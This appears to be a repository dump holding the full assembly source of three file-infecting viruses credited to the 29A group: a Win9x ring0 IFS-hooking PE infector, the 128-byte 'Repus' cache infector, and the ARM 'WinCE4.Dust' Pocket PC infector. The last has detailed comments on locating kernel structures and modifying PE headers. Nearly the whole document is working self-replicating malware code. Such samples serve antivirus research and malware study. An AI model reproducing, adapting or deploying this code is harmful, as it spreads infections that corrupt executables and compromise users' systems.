; Greetz to Perikles for his tests ;) You're my best tester, you know...
;
;
; The way of the bee
;
.486p
locals
.model flat,STDCALL
extrn ExitProcess:PROC
VxDCall macro vxd,service
db 0cdh,20h
dw service
dw vxd
endm
IFSMANAGER equ 40h
GETHEAP equ 0dh
IFSAPIHOOK equ 67h
VSIZE equ vEnd-vBegin
VSIZEROUND equ ((VSIZE/1024)+1)*1024
.DATA
; dummy data
db 'WARNING - This is a virus carrier - WARNING'
.CODE
inicio:
mov eax,VSIZE
vBegin label byte
pushad
mov al,byte ptr [esp+23h]
sub esp,8
mov ebp,esp
cmp al,0bfh
jne NotWin9x
sidt qword ptr [ebp]
mov esi,dword ptr [ebp+2]
add esi,3*8
push esi
mov di,word ptr [esi+6]
shl edi,10h
mov di,word ptr [esi]
push edi
call @delta
@deltaoffset:
cpright db 'Bbbee/29a@Noise'
@delta:
pop eax
sub eax,(offset @deltaoffset-offset ring0CodeInstaller)
mov word ptr [esi],ax
shr eax,10h
mov word ptr [esi+6],ax
int 3h
pop edi
pop esi
mov word ptr [esi],di
shr edi,10h
mov word ptr [esi+6],di
NotWin9x:
add esp,8
popad
push offset fakeHost
hostEP equ $-4
ret
ring0CodeInstaller:
pushad
mov ebp,0bff70000h
sub ebp,dword ptr [ebp]
jz ReturnR3
push VSIZEROUND
VxDCall IFSMANAGER,GETHEAP
pop edi
or eax,eax
jz ReturnR3
mov edi,eax
call @@delta
@@delta:
pop esi
sub esi,(offset @@delta-offset vBegin)
mov ecx,VSIZE
rep movsb
mov dword ptr [delta-vBegin+eax],eax
push eax
add eax,offset ring0Hook-offset vBegin
push eax
VxDCall IFSMANAGER,IFSAPIHOOK
pop ebp
pop edx
mov dword ptr [edx+nextHookInChain-vBegin],eax
mov ebp,0bff70000h
mov dword ptr [ebp],ebp
ReturnR3:
popad
iretd
ring0Hook:
pop eax
push ebp
mov ebp,12345678h
delta equ $-4
mov dword ptr [returnAddr-vBegin+ebp],eax
push edx
mov edx,esp
pushad
pushfd
mov ecx,0ffh
counter equ $-4
dec cl
jz beep
mov ecx,dword ptr [edx+0ch]
dec ecx
jz checkFile
exitHook:
popfd
popad
pop edx
pop ebp
mov eax,12345678h
nextHookInChain equ $-4
call dword ptr [eax]
push 12345678h
returnAddr equ $-4
ret
checkFile:
mov esi,dword ptr [edx+1ch]
mov cx,word ptr [esi]
cmp ecx,VSIZEROUND
jb exitHook
mov edi,dword ptr [esi+14h]
mov ebx,edi
cmp word ptr [edi],'ZM'
jne exitHook
cmp ecx,dword ptr [edi+3ch]
jb exitHook
add edi,dword ptr [edi+3ch]
cmp word ptr [edi],'EP'
jne exitHook
mov edx,dword ptr [edi+16h]
test edx,2h
jz exitHook
and edx,2000h
jnz exitHook
mov dx,word ptr [edi+5ch]
dec edx
jz exitHook
mov esi,edi
mov eax,18h
add ax,word ptr [edi+14h]
add edi,eax
movzx ecx,word ptr [esi+06h]
mov ax,28h
mul cx
add edi,eax
mov ecx,VSIZE
xor eax,eax
pushad
rep scasb
popad
jnz exitHook
add dword ptr [esi+54h],ecx
push edi
sub edi,ebx
xchg edi,dword ptr [esi+28h]
mov eax,dword ptr [esi+34h]
add edi,eax
mov dword ptr [hostEP-vBegin+ebp],edi
pop edi
mov esi,ebp
rep movsb
dec byte ptr [counter-vBegin+ebp]
jmp exitHook
beep:
dec cl
in al,61h
push ax
or al,03h
out 61h,al
mov al,0b6h
out 43h,al
mov ax,987
mov si,ax
beep_loop:
add si,100h
mov ax,si
out 42h,al
xchg al,ah
out 42h,al
loop beep_loop
pop ax
out 61h,al
jmp exitHook
vEnd label byte
fakeHost:
push 0h
call ExitProcess
Ends
End inicio

View File

@ -0,0 +1,212 @@
;=============;
; Repus virus ;
;=============;
;Coded by Super/29A
;VirusSize = 128 bytes !!!
;This is the third member of the Repus family
;-When an infected file is executed the virus patches IRQ0 handler and waits
; for it to return control to virus in ring0
;-Once in ring0, the virus searches in all caches a valid MZheader to infect,
; modifying EntryPoint (in PEheader) so virus can get control on execution
;-It will infect no more than one MZheader at a time per file system
;-MZheader will be overwritten, however windows executes it with no problems
; (tested under win95,win98,winNT and Win2K)
;-When executing a non infected file that imports APIs from an infected DLL,
; virus will get control on DLL inicialization and infect more MZheaders
;-------------------------------------------------------------------
.386p
.model flat,STDCALL
extrn ExitProcess : near
extrn MessageBoxA : near
;-------------------------------------------------------------------
VirusSize = (VirusEnd - VirusStart)
VCache_Enum macro
int 20h
dw 0009h
dw 048Bh
endm
;-------------------------------------------------------------------
.data
Title:
db 'Super/29A presents...',0
Text:
db 'Repus.'
db '0' + (VirusSize/100) mod 10
db '0' + (VirusSize/10) mod 10
db '0' + (VirusSize/1) mod 10
db 0
;-------------------------------------------------------------------
.code
;===================================================================
VirusStart:
db 'M' ; dec ebp
VirusEntryPoint:
db 'Z' ; pop edx
push edx
dec edx
jns JumpHost ; exit if we are running winNT
mov ebx,0C0001100h ; IRQ0 ring0 handler
mov dl,0C3h
xchg dl,[ebx] ; hook IRQ0 to get ring0
Wait_IRQ0:
cmp esp,edx
jb Wait_IRQ0
;Now we are in ring0
xchg dl,[ebx]
lea edx,[eax+(InfectCache-VirusEntryPoint)] ; EDX = infection routine
fld qword ptr [eax+(Next_FSD-VirusEntryPoint)] ; save VxD dinamic call
Next_FSD:
VCache_Enum ; enumerate all caches
inc ah
jnz Next_FSD ; try next file system
call ebx ; return control to IRQ0 and return just after the CALL
;Now we are in ring3
JumpHost:
jmp HostEntryPoint ; return control to host
;-------------------------------------------------------------------
InfectCache:
xor dl,dl ; EDX = ImageBase
mov edi,[esi+10h] ; EDI = MZheader
movzx ecx,byte ptr [edi+3Ch]
cmp byte ptr [edi+ecx],'P' ; check for PEheader
jnz _ret
Offset3B:
and eax,00000080h ; EAX = 0
xchg esi,edx ; ESI = ImageBase
; EDX = Cache Block Structure
cmpsb ; check for MZheader
jnz _ret
mov [esi-1+(Offset3B+1-VirusStart)],ecx ; save offset of PEheader
fst qword ptr [esi-1+(Next_FSD-VirusStart)] ; restore VxD dinamic call
inc eax ; EAX = 1
xchg eax,[edi-1+ecx+28h] ; set virus EntryPoint
sub eax,(JumpHost+5-VirusStart)
jb _ret ; jump if its already infected
mov cl,(VirusSize-1)
rep movsb ; copy virus to MZheader
mov [edi+(JumpHost+1-VirusEnd)],eax ; fix jump to host
;Here we are gonna find the pointer to the pending cache writes
mov ch,2
lea eax,[ecx-0Ch] ; EAX=1F4h ;-D
mov edi,[edx+0Ch] ; EDI = VRP (Volume Resource Pointer)
repnz scasd
jnz _ret ; not found :-(
; EDI = offset in VRP which contains PendingList pointer
cmp [edi],ecx ; check if there are other pending cache writes
ja _ret
cmp [edi+30h],ah ; only infect logical drives C,D,...
jbe _ret
;Now we are gonna insert this cache in the pending cache writes
or byte ptr [edx+32h],ah ; set dirty bit
mov [edx+1Ch],edx ; set PendingList->Next
mov [edx+20h],edx ; set PendingList->Previous
mov [edi],edx ; set PendingList pointer
_ret:
ret
db '29A'
VirusEnd:
;===================================================================
db 1000h dup(90h)
HostEntryPoint proc near
push 0
push offset Title
push offset Text
push 0
call MessageBoxA
push 0
call ExitProcess
HostEntryPoint endp
;===================================================================
ends
end VirusEntryPoint

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,685 @@
** virus_source **
CODE32
EXPORT WinMainCRTStartup
AREA .text, CODE, ARM
virus_start
; r11 - base pointer
virus_code_start PROC
stmdb sp!, {r0 - r12, lr, pc}
mov r11, sp
sub sp, sp, #56 ; make space on the stack
; our stack space gets filled the following way
; #-56 - udiv
; #-52 - malloc
; #-48 - free
; [r11, #-44] - CreateFileForMappingW
; #-40 - CloseHandle
; #-36 - CreateFileMappingW
; #-32 - MapViewOfFile
; #-28 - UnmapViewOfFile
; #-24 - FindFirstFileW
; #-20 - FindNextFileW
; #-16 - FindClose
; #-12 - MessageBoxW
; #- 8 - filehandle
; #- 4 - mapping handle
bl get_export_section
; we'll import via ordinals, not function names, because it's
; safe - even linker does that
adr r2, import_ordinals
mov r3, sp
bl lookup_imports
;
bl ask_user
beq jmp_to_host ; are we allowed to spread?
;
mov r0, #0x23, 28
mov lr, pc
ldr pc, [r11, #-52] ; allocate WFD
mov r4, r0
cmp r0, #0
beq jmp_to_host
; in the following code I use functions FindFirstFile/FindNextFile
; for finding *.exe files in the current directory. But in this
; case I made a big mistake. I didn't realize that WinCE is not
; aware of the current directory and thus we need to use absolute
; pathnames. That's why this code won't find files in the current
; directory, but rather always in root directory. I found this out when I
; was performing final tests, but because the aim was to create a
; proof-of-concept code and because the infection itself was already
; limited by the user's permission, I decided not to correct this
; bug
adr r0, mask
mov r1, r4
mov lr, pc
ldr pc, [r11, #-24] ; find first file
cmn r0, #1
beq free_wfd
mov r5, r0
find_files_iterate
ldr r0, [r4, #28] ; filesize high
ldr r1, [r4, #32] ; filesize low
cmp r0, #0 ; file too big?
bne find_next_file
cmp r1, #0x1000 ; file smaller than 4096 bytes?
addgt r0, r4, #40 ; gimme file name
blgt infect_file
find_next_file
mov r0, r5
mov r1, r4
mov lr, pc
ldr pc, [r11, #-20] ; find next file
cmp r0, #0 ; is there any left?
bne find_files_iterate
mov r0, r5
mov lr, pc
ldr pc, [r11, #-16]
free_wfd
mov r0, r4
mov lr, pc
ldr pc, [r11, #-48] ; free WFD
;
jmp_to_host
adr r0, host_ep
ldr r1, [r0] ; get host_entry
ldr r2, [r11, #56] ; get pc
add r1, r1, r2 ; add displacement
str r1, [r11, #56] ; store it back
mov sp, r11
ldmia sp!, {r0 - r12, lr, pc}
ENDP
; we're looking for *.exe files
mask DCB "*", 0x0, ".", 0x0, "e", 0x0, "x", 0x0, "e", 0x0, 0x0, 0x0
; host entry point displacement
; in first generation let compiler count it
host_ep
DCD host_entry - virus_code_start - 8
; WinCE is a UNICODE-only platform and thus we'll use the W ending
; for api names (there are no ANSI versions of these)
import_ordinals
DCW 2008 ; udiv
DCW 1041 ; malloc
DCW 1018 ; free
DCW 1167 ; CreateFileForMappingW
DCW 553 ; CloseHandle
DCW 548 ; CreateFileMappingW
DCW 549 ; MapViewOfFile
DCW 550 ; UnmapViewOfFile
DCW 167 ; FindFirstFileW
DCW 181 ; FindNextFile
DCW 180 ; FindClose
DCW 858 ; MessageBoxW
DCD 0x0
; basic wide string compare
wstrcmp PROC
wstrcmp_iterate
ldrh r2, [r0], #2
ldrh r3, [r1], #2
cmp r2, #0
cmpeq r3, #0
moveq pc, lr
cmp r2, r3
beq wstrcmp_iterate
mov pc, lr
ENDP
; on theWin32 platform, almost all important functions were located in the
; kernel32.dll library (and if they weren't, the LoadLibrary/GetProcAddresss pair
; was). The first infectors had a hardcoded imagebase of this dll and
; later they imported needed functions by hand from it. This
; turned out to be incompatible because different Windows versions might
; have different imagebases for kernel32. That's why more or less
; sophisticated methods were found that allowed coding in a
; compatible way. One of these methods is scanning memory for known values
; located in PE file header ("MZ") if the address inside the module is
; given. Because the function inside kernel32 calls the EntryPoint of
; every Win32 process, we've got this address. Then comparing the word
; on and aligned address (and decrementing it) against known values is
; enough to locate the imagebase. If this routine is even covered
; with SEH (Structured Exception Handling) everything is safe.
; I wanted to use this method on WinCE too, but I hit the wall.
; Probably to save memory space, there are no headers
; before the first section of the loaded module. There is thus no
; "MZ" value and scanning cannot be used even we have the address
; inside coredll.dll (lr registr on our entrypoint). Moreover, we
; cannot use SEH either, because SEH handlers get installed with
; the help of a special directory (the exception directory) in the PE file and
; some data before the function starts - this information would have
; to be added while infecting the victim (the exception directory
; would have to be altered) which is of course not impossible -- just
; a little bit impractical to implement in our basic virus.
; That's why I was forced to use a different approach. I looked
; through the Windows CE 3.0 source code (shared source,
; downloadable from Microsoft) and tried to find out how the loader
; performs its task. The Loader needs the pointer to the module's export
; section and its imagebase to be able to import from it. The result was a
; KDataStruct at a hardcoded address accessible from user mode (why Microsoft
; chose to open this loophole, I don't know)
; and mainly it's item aInfo[KINX_MODULES] which is a pointer to a
; list of Module structures. There we can find all needed values
; (name of the module, imagebase and export section RVA). In the
; code that follows I go through this one-way list and look for
; structure describing the coredll.dll module. From this structure I
; get the imagebase and export section RVA (Relative Virtual Address).
; what sounds relatively easy was in the end more work than I
; expected. The problem was to get the offsets in the Module
; structure. The source code and corresponding headers I had were for
; Windows CE 3.0, but I was writing for Windows CE 4.2 (Windows Mobile 2003),
; where the structure is different. I worked it out using the following
; sequence:
; I was able to get the imagebase offset using the trial-and-error
; method - I used the debugger and tried values inside the
; structure that looked like valid pointers. If there was something
; interesting, I did some memory sniffing to realize where I was.
; The export section pointer was more difficult. There is no real
; pointer, just the RVA instead. Adding the imagebase to RVA gives us the
; pointer. That's why I found coredll.dll in memory - namely the
; list of function names in export section that the library exports.
; This list is just a series of ASCIIZ names (you can see this list
; when opening the dll in your favourite hex editor). At the
; beginning of this list there must be a dll name (in this case
; coredll.dll) to which a RVA in the export section header
; points. Substracting the imagebase from the address where the dll
; name starts gave me an RVA of the dll name. I did a simple byte
; search for the byte sequence that together made this RVA value. This
; showed me where the (Export Directory Table).Name Rva is.
; Because this is a known offset within a known structure (which is
; in the beginning of export section), I was able to get
; the export section pointer this way. I again substracted the imagebase to
; get the export section RVA. I looked up this value in the coredll's
; Module structure, which finally gave me the export section RVA
; offset.
; this works on Pocket PC 2003; it works on
; my wince 4.20.0 (build 13252).
; On different versions the structure offsets might be different :-/
; output:
; r0 - coredll base addr
; r1 - export section addr
get_export_section PROC
stmdb sp!, {r4 - r9, lr}
ldr r4, =0xffffc800 ; KDataStruct
ldr r5, =0x324 ; aInfo[KINX_MODULES]
add r5, r4, r5
ldr r5, [r5]
; r5 now points to first module
mov r6, r5
mov r7, #0
iterate
ldr r0, [r6, #8] ; get dll name
adr r1, coredll
bl wstrcmp ; compare with coredll.dll
ldreq r7, [r6, #0x7c] ; get dll base
ldreq r8, [r6, #0x8c] ; get export section rva
add r9, r7, r8
beq got_coredllbase ; is it what we're looking for?
ldr r6, [r6, #4]
cmp r6, #0
cmpne r6, r5
bne iterate ; nope, go on
got_coredllbase
mov r0, r7
add r1, r8, r7 ; yep, we've got imagebase
; and export section pointer
ldmia sp!, {r4 - r9, pc}
ENDP
coredll DCB "c", 0x0, "o", 0x0, "r", 0x0, "e", 0x0, "d", 0x0, "l", 0x0, "l", 0x0
DCB ".", 0x0, "d", 0x0, "l", 0x0, "l", 0x0, 0x0, 0x0
; r0 - coredll base addr
; r1 - export section addr
; r2 - import ordinals array
; r3 - where to store function adrs
lookup_imports PROC
stmdb sp!, {r4 - r6, lr}
ldr r4, [r1, #0x10] ; gimme ordinal base
ldr r5, [r1, #0x1c] ; gimme Export Address Table
add r5, r5, r0
lookup_imports_iterate
ldrh r6, [r2], #2 ; gimme ordinal
cmp r6, #0 ; last value?
subne r6, r6, r4 ; substract ordinal base
ldrne r6, [r5, r6, LSL #2] ; gimme export RVA
addne r6, r6, r0 ; add imagebase
strne r6, [r3], #4 ; store function address
bne lookup_imports_iterate
ldmia sp!, {r4 - r6, pc}
ENDP
; r0 - filename
; r1 - filesize
infect_file PROC
stmdb sp!, {r0, r1, r4, r5, lr}
mov r4, r1
mov r8, r0
bl open_file ; first open the file for mapping
cmn r0, #1
beq infect_file_end
str r0, [r11, #-8] ; store the handle
mov r0, r4 ; now create the mapping with
; maximum size == filesize
bl create_mapping
cmp r0, #0
beq infect_file_end_close_file
str r0, [r11, #-4] ; store the handle
mov r0, r4
bl map_file ; map the whole file
cmp r0, #0
beq infect_file_end_close_mapping
mov r5, r0
bl check_header ; is it file that we can infect?
bne infect_file_end_unmap_view
ldr r0, [r2, #0x4c] ; check the reserved field in
; optional header against
ldr r1, =0x72617461 ; rata
cmp r0, r1 ; already infected?
beq infect_file_end_unmap_view
ldr r1, [r2, #0x3c] ; gimme filealignment
adr r0, virus_start
adr r2, virus_end ; compute virus size
sub r0, r2, r0
mov r7, r0 ; r7 now holds virus_size
add r0, r0, r4
bl _align_ ; add it to filesize and
mov r6, r0 ; align it to filealignment
; r6 holds the new filesize
mov r0, r5
mov lr, pc
ldr pc, [r11, #-28] ; UnmapViewOfFile
ldr r0, [r11, #-4]
mov lr, pc
ldr pc, [r11, #-40] ; close mapping handle
;
mov r0, r8
bl open_file ; reopen the file because via
; closing the mapping handle file
; handle was closed too
cmn r0, #1
beq infect_file_end
str r0, [r11, #-8]
mov r0, r6 ; create mapping again with the
bl create_mapping ; new filesize (with virus appended)
cmp r0, #0
beq infect_file_end_close_file
str r0, [r11, #-4]
mov r0, r6
bl map_file ; map it
cmp r0, #0
beq infect_file_end_close_mapping
mov r5, r0
;
; r5 - mapping base
; r7 - virus_size
ldr r4, [r5, #0x3c] ; get PE signature offset
add r4, r4, r5 ; add the base
ldrh r1, [r4, #6] ; get NumberOfSections
sub r1, r1, #1 ; we want the last section header
; so dec
mov r2, #0x28 ; multiply with section header size
mul r0, r1, r2
add r0, r0, r4 ; add optional header start to displacement
add r0, r0, #0x78 ; add optional header size
ldr r1, [r4, #0x74] ; get number of data directories
mov r1, r1, LSL #3 ; multiply with sizeof(data_directory)
add r0, r0, r1 ; add it because section headers
; start after the optional header
; (including data directories)
ldr r6, [r4, #0x28] ; gimme entrypoint rva
ldr r1, [r0, #0x10] ; get last section's size of rawdata
ldr r2, [r0, #0x14] ; and pointer to rawdata
mov r3, r1
add r1, r1, r2 ; compute pointer to the first
; byte available for us in the
; last section
; (pointer to rawdata + sizeof rawdata)
mov r9, r1 ; r9 now holds the pointer
ldr r8, [r0, #0xc] ; get RVA of section start
add r3, r3, r8 ; add sizeof rawdata
str r3, [r4, #0x28] ; set entrypoint
sub r6, r6, r3 ; now compute the displacement so that
; we can later jump back to the host
sub r6, r6, #8 ; sub 8 because pc points to
; fetched instruction (viz LTORG)
mov r10, r0
ldr r0, [r10, #0x10] ; get size of raw data again
add r0, r0, r7 ; add virus size
ldr r1, [r4, #0x3c]
bl _align_ ; and align
str r0, [r10, #0x10] ; store new size of rawdata
str r0, [r10, #0x8] ; store new virtual size
ldr r1, [r10, #0xc] ; get virtual address of last section
add r0, r0, r1 ; add size so get whole image size
str r0, [r4, #0x50] ; and store it
ldr r0, =0x60000020 ; IMAGE_SCN_CNT_CODE | MAGE_SCN_MEM_EXECUTE |
; IMAGE_SCN_MEM_READ
ldr r1, [r10, #0x24] ; get old section flags
orr r0, r1, r0 ; or it with our needed ones
str r0, [r10, #0x24] ; store new flags
ldr r0, =0x72617461
str r0, [r4, #0x4c] ; store our infection mark
add r1, r9, r5 ; now we'll copy virus body
mov r9, r1 ; to space prepared in last section
adr r0, virus_start
mov r2, r7
bl simple_memcpy
adr r0, host_ep ; compute number of bytes between
; virus start and host ep
adr r1, virus_start
sub r0, r0, r1 ; because we'll store new host_ep
str r6, [r0, r9] ; in the copied virus body
infect_file_end_unmap_view
mov r0, r5
mov lr, pc ; unmap the view
ldr pc, [r11, #-28]
infect_file_end_close_mapping
ldr r0, [r11, #-4]
mov lr, pc ; close the mapping
ldr pc, [r11, #-40]
infect_file_end_close_file
ldr r0, [r11, #-8]
mov lr, pc ; close file handle
ldr pc, [r11, #-40]
infect_file_end
ldmia sp!, {r0, r1, r4, r5, pc} ; and return
ENDP
; a little reminiscence of my beloved book - Greg Egan's Permutation City
DCB "This code arose from the dust of Permutation City"
ALIGN 4
; this function checks whether the file we want to infect is
; suitable
check_header PROC
ldrh r0, [r5]
ldr r1, =0x5a4d ; MZ?
cmp r0, r1
bne infect_file_end_close_mapping
ldr r2, [r5, #0x3c]
add r2, r2, r5
ldrh r0, [r2]
ldr r1, =0x4550 ; Signature == PE?
cmp r0, r1
bne check_header_end
ldrh r0, [r2, #4]
ldr r1, =0x1c0 ; Machine == ARM?
cmp r0, r1
bne check_header_end
ldrh r0, [r2, #0x5C] ; IMAGE_SUBSYSTEM_WINDOWS_CE_GUI ?
cmp r0, #9
bne check_header_end
ldrh r0, [r2, #0x40]
cmp r0, #4 ; windows ce 4?
check_header_end
mov pc, lr
ENDP
; r0 - file
open_file PROC
str lr, [sp, #-4]!
sub sp, sp, #0xc
mov r1, #3
str r1, [sp] ; OPEN_EXISTING
mov r3, #0
mov r2, #0
str r3, [sp, #8]
str r3, [sp, #4]
mov r1, #3, 2 ; GENERIC_READ | GENERIC_WRITE
mov lr, pc
ldr pc, [r11, #-44] ; call CreateFileForMappingW to
; get the handle suitable for
; CreateFileMapping API
; (on Win32 calling CreateFile is enough)
add sp, sp, #0xc
ldr pc, [sp], #4
ENDP
; r0 - max size low
create_mapping PROC
str lr, [sp, #-4]!
mov r1, #0
sub sp, sp, #8
str r0, [sp]
str r1, [sp, #4]
mov r2, #4 ; PAGE_READWRITE
mov r3, #0
ldr r0, [r11, #-8]
mov lr, pc
ldr pc, [r11, #-36]
add sp, sp, #8
ldr pc, [sp], #4
ENDP
; r0 - bytes to map
map_file PROC
str lr, [sp, #-4]!
sub sp, sp, #4
str r0, [sp]
ldr r0, [r11, #-4]
mov r1, #6 ; FILE_MAP_READ or FILE_MAP_WRITE
mov r2, #0
mov r3, #0
mov lr, pc
ldr pc, [r11, #-32]
add sp, sp, #4
ldr pc, [sp], #4
ENDP
; not optimized (thus simple) mem copy
; r0 - src
; r1 - dst
; r2 - how much
simple_memcpy PROC
ldr r3, [r0], #4
str r3, [r1], #4
subs r2, r2, #4
bne simple_memcpy
mov pc, lr
ENDP
; (r1 - (r1 % r0)) + r0
; r0 - number to align
; r1 - align to what
_align_ PROC
stmdb sp!, {r4, r5, lr}
mov r4, r0
mov r5, r1
mov r0, r1
mov r1, r4
; ARM ISA doesn't have the div instruction so we'll have to call
; the coredll's div implementation
mov lr, pc
ldr pc, [r11, #-56] ; udiv
sub r1, r5, r1
add r0, r4, r1
ldmia sp!, {r4, r5, pc}
ENDP
; this function will ask user (via a MessageBox) whether we're
; allowed to spread or not
ask_user PROC
str lr, [sp, #-4]!
mov r0, #0
adr r1, text
adr r2, caption
mov r3, #4
mov lr, pc
ldr pc, [r11, #-12]
cmp r0, #7
ldr pc, [sp], #4
ENDP
; notice that the strings are encoded in UNICODE
; WinCE4.Dust by Ratter/29A
caption DCB "W", 0x0, "i", 0x0, "n", 0x0, "C", 0x0, "E", 0x0, "4", 0x0
DCB ".", 0x0, "D", 0x0, "u", 0x0, "s", 0x0, "t", 0x0, " ", 0x0
DCB "b", 0x0, "y", 0x0, " ", 0x0, "R", 0x0, "a", 0x0, "t", 0x0
DCB "t", 0x0, "e", 0x0, "r", 0x0, "/", 0x0, "2", 0x0, "9", 0x0
DCB "A", 0x0, 0x0, 0x0
ALIGN 4
; Dear User, am I allowed to spread?
text DCB "D", 0x0, "e", 0x0, "a", 0x0, "r", 0x0, " ", 0x0, "U", 0x0
DCB "s", 0x0, "e", 0x0, "r", 0x0, ",", 0x0, " ", 0x0, "a", 0x0
DCB "m", 0x0, " ", 0x0, "I", 0x0, " ", 0x0, "a", 0x0, "l", 0x0
DCB "l", 0x0, "o", 0x0, "w", 0x0, "e", 0x0, "d", 0x0, " ", 0x0
DCB "t", 0x0, "o", 0x0, " ", 0x0, "s", 0x0, "p", 0x0, "r", 0x0
DCB "e", 0x0, "a", 0x0, "d", 0x0, "?", 0x0, 0x0, 0x0
ALIGN 4
; Just a little greeting to AV firms :-)
DCB "This is proof of concept code. Also, i wanted to make avers happy."
DCB "The situation when Pocket PC antiviruses detect only EICAR file had"
DCB " to end ..."
ALIGN 4
; LTORG is a very important pseudo instruction, which places the
; literal pool "at" the place of its presence. Because the ARM
; instruction length is hardcoded to 32 bits, it is not possible in
; one instruction to load the whole 32bit range into a register (there
; have to be bits to specify the opcode). That's why the literal
; pool was introduced, which in fact is just an array of 32bit values
; that are not possible to load. This data structure is later
; accessed with the aid of the PC (program counter) register that points
; to the currently executed instruction + 8 (+ 8 because ARM processors
; implement a 3 phase pipeline: execute, decode, fetch and the PC
; points not at the instruction being executed but at the instruction being
; fetched). An offset is added to PC so that the final pointer
; points to the right value in the literal pool.
; the pseudo instruction ldr rX, =<value> while compiling gets
; transformed to a mov instruction (if the value is in the range of
; valid values) or it allocates its place in the literal pool and becomes a
; ldr, rX, [pc, #<offset>]
; similarly adr and adrl instructions serve to loading addresses
; to register.
; this approach's advantage is that with minimal effort we can get
; position independent code from the compiler which allows our
; code to run wherever in the address space the loader will load us.
LTORG
virus_end
; the code after virus_end doesn't get copied to victims
WinMainCRTStartup PROC
b virus_code_start
ENDP
; first generation entry point
host_entry
mvn r0, #0
mov pc, lr
END
** virus_source_end **